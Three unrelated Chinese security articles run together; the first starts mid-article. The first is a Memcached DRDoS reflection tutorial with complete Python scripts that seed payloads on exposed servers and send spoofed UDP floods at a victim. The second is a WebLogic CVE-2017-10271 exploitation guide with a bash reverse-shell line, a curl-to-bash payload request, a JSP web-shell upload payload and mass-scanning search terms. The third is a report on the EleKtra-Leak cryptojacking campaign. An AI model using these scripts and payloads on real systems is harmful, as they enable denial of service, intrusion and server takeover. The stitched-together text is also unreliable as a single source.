4、每一条TCP连接只能是点到点的;UDP支持一对一，一对多，多对一和多对多的交互通信。 5、TCP首部开销20字节;UDP的首部开销小，只有8个字节。 6、TCP的逻辑通信信道是全双工的可靠信道，UDP则是不可靠信道。 好了，明白了这个，我们就看看怎么利用基于TCP和UDP协议通信的Memcached缓存系统。由于Memcached系统支持最大键值单数据对1M存储。所以我们最大只能存储1M，当然你可以作多个字段，这样也会放大。那首先按照流程图我们向远程服务器提前存储有效载荷，这里就是数据了。利用TCP协议可以一次性发1M，但是我们要是利用UDP就得循环发送多次才能完成1M数据传输。由于UDP具有不稳定性，数据包不保证可靠交付。这里我建议使用TCP进行发送。 数据格式 Memcached简洁而强大。它的简洁设计便于快速开发，减轻开发难度，解决了大数据量缓存的很多问题。它的API兼容大部分流行的开发语言。本质上，它是一个简洁的key-value存储系统。 一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。 支持有如下所有命令和操作。 Memcached 存储命令 Memcached set 命令 Memcached add 命令 Memcached replace 命令 Memcached append 命令 Memcached prepend 命令 Memcached CAS 命令 Memcached 查找命令 Memcached get 命令 Memcached gets 命令 Memcached delete 命令 Memcached incr/decr 命令 Memcached 统计命令 Memcached stats 命令 Memcached stats items 命令 Memcached stats slabs 命令 Memcached stats sizes 命令 Memcached flush_all 命令 这里我们重点介绍三种命令，因为我们的攻击流程中将会涉及了这三种方式。 第一个是上传有效载荷Memcached set 命令 Memcached set 命令用于将 value(数据值) 存储在指定的 key(键) 中。 如果set的key已经存在，该命令可以更新该key所对应的原来的数据，也就是实现更新的作用。 set 命令的基本语法格式如下： set key flags exptime bytes [noreply] value 参数说明如下： key：键值 key-value 结构中的 key，用于查找缓存值。 flags：可以包括键值对的整型参数，客户机使用它存储关于键值对的额外信息 。 exptime：在缓存中保存键值对的时间长度（以秒为单位，0 表示永远） bytes：在缓存中存储的字节数 noreply（可选）： 该参数告知服务器不需要返回数据 value：存储的值（始终位于第二行）（可直接理解为key-value结构中的value） 第二个反射有效载荷Memcached get 命令 Memcached get 命令获取存储在 key(键) 中的 value(数据值) ，如果 key 不存在，则返回空。 get 命令的基本语法格式如下： get key 多个 key 使用空格隔开，如下: get key1 key2 key3 参数说明如下： key：键值 key-value 结构中的 key，用于查找缓存值。 第三个是退出远程服务器。quit\r\n命令即可，没有任何参数，注意要有回车换行。 攻击步骤 自动化上传有效载荷 到了这里，我们接下来就是如何利用这个过程实现DRDoS反射拒绝服务攻击。 思路是这样的：我们先批量上传指定数据到远程开放服务器Memcached上面，然后我们再去Memcached服务器请求查询数据上一步存储的数据，（这一步很关键，我们只能利用UDP协议进行反射，后面说明一下为什么。）这样就可以将数据通过Memcached服务器反射到目标受害机器上了。这里我们可以自己手动编写程序实现批量自动化上传有效载荷到远程服务器，等待上传完了我们就可以进行UDP反射攻击了。 这里我用python脚本完成payload数据上传。 # -*- coding: UTF-8 -*- ''' Created on 2018.02.06 @author: 5t4rk ''' #!/usr/bin/python import random import sys import socket socket_timeout = 10.0 bullets_size = 10 * 1000 def reload_zombies_list(zombies_server_path): try: global zombies_list if (len(zombies_server_path) < 1): return "" with open(zombies_server_path) as f: zombies_list = f.readlines() return zombies_list except Exception, e: print e.message def random_int_char(i): try: temp = random.randint(0, 2) if temp == 0: return '%c' % (random.randint(0, 9) + 0x30) elif temp == 1: return '%c' % (random.randint(0, 25) + 0x41) else : return '%c' % (random.randint(0, 25) + 0x61) except Exception, e: print e.message def prepare_random_data(size_bytes, times): try: print '[random data : %8d times ]' % (times + 1) remote_data = '' for i in range(0, size_bytes): remote_data = remote_data + (random_int_char(i)) return remote_data.upper() except Exception, e: print e.message def tcp_weapon_function(mem_address, mem_port, data, reload_counts): if (not mem_address): return False if (len(data) < 1): return False else: try: mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() server_address = (mem_address, mem_port) # send sclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sclient.settimeout(socket_timeout) sclient.connect(server_address) print "[current num : %8d zombie]" % reload_counts print "[sending size: %8d bytes ]\t" % len(data), "[address :\t %14s ]" % mem_address reload_counts = reload_counts + 1 # send count = sclient.send(data) if count > 1: result = sclient.recv(1024) if not result: print "[No response]" return False result = result.rstrip('\n') result = result.rstrip('\r\n') print "[sended size: %8d bytes ]\t" % count, "[received:\t %14s ]" % result # quit count = sclient.send("quit\r\n") if count > 1: print "[sended size: %8d bytes ]\t" % count, "[received:\t QUIT SUCCESSED ]" sclient.close() except Exception, e: print "[error :", e.message, "]" sclient.close() return True if __name__ == '__main__': zombies_list = [] current_index = 0 command = 0 if len(sys.argv) == 5: path = sys.argv[1] command = int(sys.argv[2]) bullets_size = int(sys.argv[3]) socket_timeout = float(sys.argv[4]) reload_zombies_list(path) elif len(sys.argv) == 3: path = sys.argv[1] command = int(sys.argv[2]) reload_zombies_list(path) else: print "Example:\t" print "\tweapon.py server.txt 1 byte_size timeout" print "\tweapon.py server.txt 2" print "\t<command> 1 ddos memcache set" print "\t<command> 2 ddos memcache delete" print "\t<command> 3 ddos payload size" print "\t<command> 4 ddos time out (seconds)" exit() while current_index < len(zombies_list): try: if command == 1: random_value = prepare_random_data(bullets_size, current_index) action_data = "set anVzdGF0ZXN0 0 0 %d\r\n" % len(random_value) + random_value + "\r\n" tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index) elif command == 2: action_data = "delete anVzdGF0ZXN0\r\n" tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index) else: print "error command" action_data = "" except KeyboardInterrupt, e: print "[error : script stopped [ctrl + c]...]" except Exception, e: print "[error :", e.message, "]" current_index = current_index + 1 pass 输出结果 自动化反射有效载荷 这里得注意一下，上面的自动化上传我使用了TCP协议发送数据包，反射我必须使用UDP协议。因为只有UDP协议是基于无连接的，这样我们直接发送数据到目标服务器，不需要进行三次握手。同时服务器接收方也无法验证客户源IP，因此这个过程我们才可以利用UDP伪造源地址，实现反射DRDoS攻击过程。 利用socket和scapy库开发，采用多线程进行循环请求。（特别注意UDP协议使用的时候，每个操作命令必须都要添加数据包结构要加头部8字节标志位， "\x00\x00\x00\x00\x00\x01\x00\x00"） 这里使用python脚本完成反射攻击。 # -*- coding: UTF-8 -*- ''' Created on 2018.02.26 @author: 5t4rk ''' #!/usr/bin/python from scapy.all import * import sys import threading victim_address = "192.168.31.7" victim_port = 80 def udp_forge_packets(mem_address, mem_port, target_address, target_port, payload): pkt = scapy.all.IP(dst=mem_address, src=target_address) / scapy.all.UDP(sport=target_port, dport=mem_port) / payload send(pkt, inter=1, count=3) def ddos_attack_targets(mem_address, mem_port, target_address, target_port, payload, index): global total_times total_times = total_times + 1 if (not mem_address): return False if (not mem_port): return False if (not target_address): return False if (not target_port): return False else: try: mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() target_address = target_address.strip('\n') target_address = target_address.strip('\r\n') target_address = target_address.strip() # send udp_forge_packets(mem_address, mem_port, target_address, target_port, payload) print "[count: %5d]" % total_times, "[index: %5d ]" % index, "[address: %s]" % mem_address except Exception, e: print "[error :", e.message, "]" return True def load_zombies_list(zombies_server_path): try: global zombies_list if (len(zombies_server_path) < 1): return "" with open(zombies_server_path) as f: zombies_list = f.readlines() return zombies_list except Exception, e: print e.message def banner_help(): print''' ---------------------------------------------------------- _____ _ ___ _ | ___| | / | | | |___ \| |_ / /| |_ __| | __ \ \ __/ /_| | '__| |/ / /\__/ / |_\___ | | | < \____/ \__| |_/_| |_|\_\ ---------------------------------------------------------- ''' print "Example:\t" print "\tmt_attack_ddos.py server.txt 10 1" print "\t<path> <thread> <times>" print "\t<option1> 1 server.txt" print "\t<option2> 2 ddos thread" print "\t<option3> 3 ddos times" print "----------------------------------------------------------" def thread_process(start_index, end_index, times=1): keep = start_index loop = times while loop > 0: while start_index < end_index: try: payload = "\x00\x00\x00\x00\x00\x01\x00\x00get anVzdGF0ZXN0\r\n" mem_address = zombies_list[start_index] mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() ddos_attack_targets(mem_address, 11211, victim_address, victim_port, payload, start_index) start_index = start_index + 1 except Exception, e: start_index = start_index + 1 loop = loop - 1 start_index = keep def create_thread(thread_num=10, attack_times=2): threads = [] try: total = len(zombies_list) mod = int(total % thread_num) remain = int(total / thread_num) for i in range(thread_num): if mod == 0: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain, attack_times)) print 'thread %d start ' % i else: if i == thread_num - 1: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain + mod, attack_times)) print 'thread %d start ' % i else: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain, attack_times)) print 'thread %d start ' % i threads.append(t) for each in threads: each.start() each.join() except KeyboardInterrupt, e: print "Ctrl-c pressed ..." sys.exit(1) except Exception, e: print e.message if __name__ == '__main__': zombies_list = [] total_times = 0 if len(sys.argv) == 4: load_zombies_list(sys.argv[1]) create_thread(int(sys.argv[2]), int(sys.argv[3])) else: banner_help() exit() pass 输出，可以实现 测试wireshark抓包 这里不妨可以进行一个大概理论计算 比如单台服务器我们虽然只发送的攻击指令只有二十个字节数据，但却可以返回1M数据。1M/20=5W（5万倍放大率），这可谓四两拨千斤。假设理想状况下我们现在手里有50W可用机器，那么我们的DRDoS理论值数值将会达到约50W*1M=500GB。大家想想这个是多么恐怖的带宽和数据。现在目前国内能够抵御短时间发起这么大的DDoS攻击的，几乎没有。比如去年攻击阿里云超过14小时,峰值流量达到453.8G。而DRDos可以只需要一分钟就能实现高达500G流量，这将是多么可怕的事情，多大的灾难。 总结体会 关于这项DRDoS技术经过几天摸索研究也算已经了解清楚了，但是测试中发现有的网络环境里面会被一些路由器纠正源地址，使得反射攻击失败。究其原因是因为其增加的uRPF机制，（Unicast Reverse Path Forwarding是一种单播反向路由查找技术，用于防止基于源地址欺骗的网络攻击行为。）重新修复了UDP源地址伪造。不过有些环境中没有这种机制的，那么我们就可以利用此方法实现攻击。在这里分享给大家，希望可以有人继续深入分析和钻研，其中涉及利用的思路和技巧也可学习学习。比如说利用其免费的互联网存储资源，将你的数据源进行分布式存储，当做你的分布式私密云盘。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) -----by backlion 0x01漏洞说明 近日，黑客利用WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271，Oracle官方在2017年10月份发布了该漏洞的补丁，但没有公开漏洞细节，如果企业未及时安装补丁，存在被攻击的风险。对企业服务器发起了大范围远程攻击，对大量企业的服务器造成了严重威胁，受影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0 0x02 攻击说明 攻击者选定要攻击的目标主机后，将首先利用漏洞CVE-2017-3248进行攻击，无论是否成功，都将再利用CVE-2017-10271进行攻击。在每一次的攻击过程中，都是先针对Windows系统，再针对Linux系统。具体攻击流程如下： 1、利用 WebLogic 反序列化漏洞（CVE-2017-3248）调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。（shell脚本内容内定义了从远端下载执行watch-smartd挖矿程序控制细节） 2、 利用 WebLogic 反序列化漏洞（CVE-2017-3248）调用 Windows 中的PowerShell进行样本下载和运行。 3、 利用 WebLogic WLS 组件漏洞（CVE-2017-10271）调用 Linux 中的wget 下载shell脚本并调用Linux本地“/bin/bash”执行shell脚本。 4、 利用 WebLogic WLS 组件漏洞（CVE-2017-10271）调用 Windows 中的 powershell 进行样本下载和恶意代码执行。 5、在此次的攻击事件中，CVE-2017-3248利用不成功，CVE-2017-10271则利用成功，从而导致了服务器被攻击者攻陷，进而在系统日志中留下了痕迹。 0x03分析利用 此次漏洞出现在wls-wsat.war中，此组件使用了weblogic自带的webservices处理程序来处理SOAP请求首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析，其解析XML的调用链为 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld weblogic.wsee.workarea.WorkContextXmlInputAdapter 首先看到 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法 获取到localHeader1后传递给readHeaderOld方法，其内容为<work:WorkContext>所包裹的数据，然后继续跟进 weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法 在此方法中实例化了WorkContextXmlInputAdapter类，并且将获取到的XML格式的序列化数据传递到此类的构造方法中，最后通过XMLDecoder来进行反序列化操作。 关于XMLDecoder的反序化问题13年就已经被人发现，近期再次被利用到Weblogic中由此可见JAVA生态圈中的安全问题是多么糟糕。值得一提的是此次漏洞出现了两处CVE编号，因为在Oracle官方在修复CVE-2017-3506所提供的patch只是简单的检查了XML中是否包含了<object>节点，然后将<object>换为<void>即可绕过此补丁。因此在修复过程中用户一定要使用Oracle官方十月份所提供的patch。 0x04 漏洞复现 所需环境 vps服务器：ubuntu16.4 ip:x.x.x.x 所需软件：burpusit 一般情况下weblogic会开放7001以及7002端口 如果访问/wls-wsat/CoordinatorPortType11目录，存在下图则说明或许存在漏洞 http://11.203.x.x/wls-wsat/CoordinatorPortType 首先在你的外网服务器上安装python2.7 sudo apt-get install python2.7 然后在你的外网vps服务器上，利用vim编写一个反弹脚本如a.sh(填写自己的服务器ip和将要用nc监听的端口) bash -i >& /dev/tcp/vpsip/ncport 0>&1 或者 /bin/bash -i >& /dev/vpsip/ncport 0>&1 用xshell连接服务器，执行(python服务器端口和nc的端口可以自己随便来设置) python -m SimpleHTTPServer pythonport 和 nc -lvp ncport 执行后就可以 用poc进行测试 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 11.203.x.x Accept-Encoding: identity Content-Length: 695 Accept-Language: zh-CN,zh;q=0.8 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Connection: keep-alive Cache-Control: max-age=0 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl http://x.x.x.x:81/a.sh|bash</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 将以上代码复制到burpsuit中的repeater中，注意代码中的Host: 11.203.x.x需要改成你所要攻击的目标对象，并且target的hsot和port也要根据目标地址和端口 其中的 <void index="2"> <string>curl http://x.x.x.x:81/a.sh|bash</string> </void> 也需要实际改 然后进行执行repeater的go 服务器返回 HTTP/1.1 500 Internal Server Error Connection: close Date: Sat, 23 Dec 2017 05:16:01 GMT Content-Type: text/xml; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 262 <?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope"><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope> 随后你就会在自己的vps上得到一个反弹shell 这样就OK了，如果你要拿到shell的话 直接cd到servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/目录,此为系统默认目录，然后可以在poc上wget一个jsp脚本，然后使用mv命令进行移动到此目录，最重要的你用菜刀连接的话，不是连接的此目录，而是/bea_wls_internal/目录下的脚本文件 附上poc检查脚本： # coding:utf-8 # !/bin/env python2 import requests import re import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning # 禁用安全请求警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 判断weblogic漏洞是否存在的地址，因没有poc，暂时只能判断这个地址 check_addr = '/wls-wsat/CoordinatorPortType11' shell_addr = '/bea_wls_internal/connect.jsp' heads = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8', 'SOAPAction': "", 'Content-Type': 'text/xml;charset=UTF-8' } post_str = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/sh</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type f -name index.html;done|while read ff;do echo vulexist>$(dirname $ff)/connect.jsp;done</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' def check(url): #print("正在检测第%d个url:%s" % (status_num,url)) vuln_url = url + check_addr content = requests.get(vuln_url, verify=False, timeout=10) if content.status_code == 200: rsp = requests.post(vuln_url, headers=heads, data=post_str.encode( "utf-8"), verify=False, timeout=10) content = rsp.content if re.search(r"java\.lang\.ProcessBuilder", content, re.I): # print "getshell success,shell is:%s"%(url+shell_addr) string_to_write = "Congratulations! weblogic 远程命令执行漏洞存在:\n" + url + shell_addr + "\n" print string_to_write else: print "失败" else: print(content.status_code) # 判断漏洞是否存在 # target = sys.argv[1] target = "https://x.x.x.com" print("checking weblogic vul for "+target) check(target) # 传入的target是http://www.baidu.com格式(不带端口 ) 0x04 漏洞修复建议 1.临时解决方案 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口，若Weblogic服务器集群中未应用此组件，建议临时备份后将此组件删除，当形成防护能力后，再进行恢复。 根据实际环境路径，删除WebLogic wls-wsat组件： rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat 重启Weblogic域控制器服务: DOMAIN_NAME/bin/stopWeblogic.sh #停止服务 DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务 删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。 2.官方补丁修复 前往Oracle官网下载10月份所提供的安全补丁 http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html 升级过程可参考： http://blog.csdn.net/qqlifu/article/details/49423839 3.在线检查工具 http://adlab.venustech.com.cn/vulscan https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12 --------------------------------------------------------------------------------------------- 经验总结： linux下的监听的端口可以供多个IP轮换连接，不用再更改监听端口。 一般在当前域下的： servers/AdminServer/tmp/_WL_internal/下： 该目录下可以上传war包，也可以进入到： bea_wls9_async_response，bea_wls_internal 和uddiexplorer 等目录下的war目录中上传脚本木马 如：servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bk.jps 对应的访问URL地址： http://x.x.x.x:7001/bea_wls_internal/a.jsp 附上直接写入jsp小马： POST http://163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 Referer: http://www.baidu.com/ Content-Type: text/xml Host: 163.177.*.*:7001 Content-Length: 521 Expect: 100-continue Connection: Keep-Alive <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"> <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");} %>]]></string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> 或者测试上传的poc: POST http://163.177.*.*:7001/wls-wsat/CoordinatorPortType HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 Referer: http://www.baidu.com/ Content-Type: text/xml Host: 163.177.*.*:7001 Content-Length: 521 Expect: 100-continue Connection: Keep-Alive <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/bk.txt</string><void method="println"><string>thisi is a xmldecoder_vul_test!</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope> 批量扫描weblgic服务： 1.谷歌搜索关键字“weblogic server administration console inurl：console” 2.利用shodan搜索关键字：port:7001 port:7002 3.利用fofa搜索关键字：weblogic 4.IISPU批量扫描带有标识为“WebLogic Server"

相关研究人员最近发现了一个异常活跃的攻击活动，研究人员称之为EleKtra-Leak，它会自动窃取GitHub公共存储库中泄漏的身份和访问管理(IAM)密钥。因此，与该活动相关的攻击者能够创建多个AWS弹性计算(EC2)实例，用于广泛和持久的加密劫持。 分析发现，攻击者能够在五分钟内识别并使用GitHub上首次泄漏的IAM密钥，这一发现证明了攻击者是如何利用云自动化技术来实现扩展加密劫持的目标。攻击者似乎使用自动化工具不断复制公共GitHub存储库，并扫描泄漏的亚马逊网络服务(AWS) IAM密钥。 分析过程 调查过程中，研究发现，攻击者可能会识别频繁出现的AWS账户id，以阻止这些账户id免受未来的攻击或自动化脚本的攻击。因此，研究人员设计了一种新颖的调查架构来动态创建和泄漏不可归因的AWS密钥。 多年来，攻击者越来越多地使用GitHub作为攻击的初始载体。GitHub的一个强大功能是它能够列出所有公共存储库，这使得开发人员和攻击者能够实时跟踪新的存储库。 考虑到这个功能，研究人员选择GitHub作为其窃取AWS密钥的实验平台，将明文泄露的密钥写入新创建的GitHub存储库中的文件中，该存储库是研究人员随机选择并从公共GitHub存储库列表中复制的。研究人员将AWS密钥泄露到复制存储库中随机创建的文件中，然后在成功提交后将其删除。 一旦将窃取的密钥提交到存储库，研究人员就会立即删除了它们。最初，IAM密钥使用Base64编码。然而，尽管像trufflehog这样的工具可以找到泄漏的Base64 IAM密钥，但事实上没有攻击者能找到密钥。 研究人员认为，攻击者目前没有使用能够解码base64编码密钥的工具，其中一个原因可能是因为这些工具有时会产生噪音并产生许多误报。 研究人员随后进行了以明文形式泄露AWS密钥的实验，攻击者发现这些都是明文写的，隐藏在过去提交的一个随机文件中，并添加到复制的repo中。 GitHub扫描 当研究人员在GitHub中泄漏AWS密钥时，GitHub的秘密扫描功能发现了它们，然后GitHub以编程方式通知AWS泄漏的秘钥。这导致AWS自动将隔离策略应用于与密钥关联的用户，称为AWSCompromisedKeyQuarantine。 最初，研究人员保留了AWS awspromisedkeyquarantine策略，在攻击者测试泄漏的密钥时被动地监控研究人员的侦察。研究人员有意将AWS隔离策略替换为原始的IAM策略，以进一步了解整个活动。 需要注意的是，应用AWS隔离策略不是因为攻击者发起了攻击，而是因为AWS在GitHub中发现了密钥。研究人员认为，攻击者可能能够找到AWS未自动检测到的已泄漏的AWS密钥，并随后在AWSCompromisedKeyQuarantine策略之外控制这些密钥。 在研究人员使用泄露密钥进行的实验中，攻击者在AWS应用隔离策略后四分钟内开始。下图显示了这些活动的时间轴。 攻击者的活动时间轴 上图最后一行显示，从CloudTrail事件AttachUserPolicy开始，AWS在时间13：30：22时应用隔离策略。仅仅四分钟后，在13：34：15，攻击者开始使用AWS API descripregions进行侦察。CloudTrail是一个审计工具，它记录在配置的云资源中发生的和事件。 攻击结构 下图显示了整个自动化攻击结构。GitHub公共存储库被实时扫描，一旦找到密钥，攻击者的自动化就会开始。 Operation CloudKeys架构 下图显示，攻击者首先执行AWS帐户侦察。 AWS帐户侦察 在侦察之后，攻击者创建AWS安全组，然后在任何可访问的AWS区域上最终启动每个区域的多个EC2实例。 修改安全组并启动第一个EC2实例 研究人员收集的数据表明，攻击者的自动化是在VPN环境中进行的。根据CloudTrail的日志记录，研究人员在多个地区重复了相同的操作，总共产生了400多个API调用，加起来只用了7分钟。这表明攻击者成功地隐藏了自己的身份，同时对AWS账户环境发起了自动攻击。 启动实例和配置 一旦发现AWS密钥，自动化的一部分将包括在不同地区运行实例的攻击者。下图显示了有关实例类型及其跨多个区域分布的统计信息。 攻击者使用大格式云虚拟机执行操作，特别是c5a.24xlarge AWS实例。加密挖矿操作通常使用大格式云实例，因为它们将提高处理能力，使加密劫持者能够在更短的时间内挖掘更多加密货币。 跨区域实例化的AWS EC2实例类型 CloudTrail日志中没有记录用户数据。为了捕获数据，研究人员对EC2卷执行了取证分析。 如下图所示，挖矿自动化在挖矿软件启动EC2配置过程中自动显示用户数据。 挖矿软件的配置脚本 下图显示了存储在Google Drive中的有效负载。Google Drive url在设计上是匿名的，无法将此URL映射到谷歌Cloud用户帐户。下载的有效负载被加密存储，然后在下载时解密，如第6行所示。 有效负载是一个已知的挖掘工具，哈希值可以与之前的研究相关联，研究人员认为相同的攻击者使用公开泄漏的Docker服务来执行加密劫持。他们还确定了提交给VirusTotal的报告，这些报告具有相同的哈希，并使用相同的持久化命名约定(“appworker”)，如下图所示。 共享相同元数据的已知加密挖掘二进制文件 攻击者使用的AMI（Amazon Machine Image类型也很独特，它是用于创建虚拟服务器(即 AWS 环境中的 EC2 实例)的主映像。被识别的映像是私有的，它们没有在AWS市场上列出。下图显示了使用以下AMI实例的id。 私有AMI映像id列表 其中一些图片是Ubuntu 18版本。研究人员认为，所有这些攻击指标(ioc)都表明，这是一个至少可以追溯到2020年的长期挖矿活动。 挖矿活动跟踪 如上所述，EC2实例通过EC2用户数据接收它们的挖掘配置。该配置包含每个挖矿软件用于传播其开采的门罗币的门罗币钱包地址。 根据其架构，研究人员可以推测钱包地址是独立用于AWS挖矿的。如果是这种情况，连接到池的每个工件都代表一个单独的Amazon EC2实例。 攻击者用于此操作的挖掘池是SupportXMR挖掘池。矿池用于加密挖矿，作为多个挖矿软件共同工作的工作空间，以增加成功挖矿的机会。 考虑到SupportXMR服务只提供某时间段的统计数据，研究人员对钱包进行了数周的监控并提取了挖掘统计数据。下图显示了独立挖矿软件的数量。 XMR挖矿软件数量统计 在2023年8月30日至2023年10月6日期间，总共出现了474个独立挖矿软件，研究人员可以将其解释为在此期间记录的474个独立的Amazon EC2实例执行挖矿。由于攻击者挖的是门罗币(Monero)，这是一种包含隐私控制的加密货币，因此研究人员无法跟踪钱包来获得攻击者获得挖矿货币的确切数字。 研究人员将继续监控这一挖矿活动。这与Unit 42观察到的攻击者使用可信业务应用程序逃避检测的发现一致。 架构分析 为了开展研究，Prisma云安全研究团队创建了一个名为HoneyCloud的工具，这是一个完全可攻击和可复制的云环境，包含以下功能： 跟踪恶意操作； 跟踪云攻击者的行动； 发现新的云攻击路径； 构建更好的云防御解决方案。 研究人员使用IaC模板为Terraform创建了一个半随机的AWS基础设施。Terraform是一个IaC配置工具，用于管理和维护云基础设施，这个工具允许研究人员使用定时调度和人工分析来创建和破坏基础设施。 由于研究人员之前的AWS账户ID被添加到攻击者的黑名单中，他们进行了一个Terraform设计。该设计在生成的AWS账户中引入了一定数量的随机性，其新创建的基础设施帮助研究人员避免了攻击者匹配或识别以前IAM密钥泄漏的操作。 研究人员还设计了Terraform自动化，根据攻击者在AWS账户中执行的活动，使用不同类型的IAM策略，该策略或多或少会限制IAM权限。 在本次调查中，研究人员遇到的最大障碍便是AWS在应用隔离策略，以防止恶意方面的反应速度速度。AWS在GitHub上泄露AWS密钥后两分钟内实施了隔离政策。 AWS隔离策略本可以成功阻止此攻击。然而，在分析了挖矿活动之后，研究人员发现了更多的挖矿实例，这可能是因为密钥以不同的方式或在不同的平台上被泄漏。 为了方便研究，研究人员被迫重写隔离策略，以确保研究人员能够跟踪攻击者的操作。为了执行此操作，研究人员创建了一个单独的监控工具，以恢复我们计划破坏的原始过度宽松的AWS安全策略。 自动生成AWS云 下图显示了用于公开AWS IAM凭据并随后监控针对它们采取操作的总IaC架构。 使用AWS复制和监控GitHub存储库 所设计架构的IaC模板负责随机选择GitHub存储库，复制和泄漏AWS IAM密钥作为过去提交的随机文件。在AWS方面，使用相同的AWS管理组织和集中式CloudTrail日志存储，为IaC模板执行的每次迭代动态创建新的AWS帐户。 研究人员还在AWS管理帐户中开发并部署了一个额外的lambda函数，该函数作为监控器收集基础设施更改并跟踪IAM用户策略更改。 IaC模板的主要目标之一是保持AWS基础设施组件尽可能随机，以避免被攻击者发现并阻止。另一个目标是允许定期和精确地摧毁基础设施，以便快速和系统地开始新的环境和变量。通过这种方式，攻击者只能将AWS IAM密钥视为全新AWS环境的一部分，而不是研究环境的一部分。 总结 分析发现，攻击者扫描了公共GitHub存储库中泄漏的AWS IAM秘钥。研究人员发现，AWS IAM密钥在公共GitHub存储库中泄漏仅五分钟后便可以检测并启动全面的挖矿。 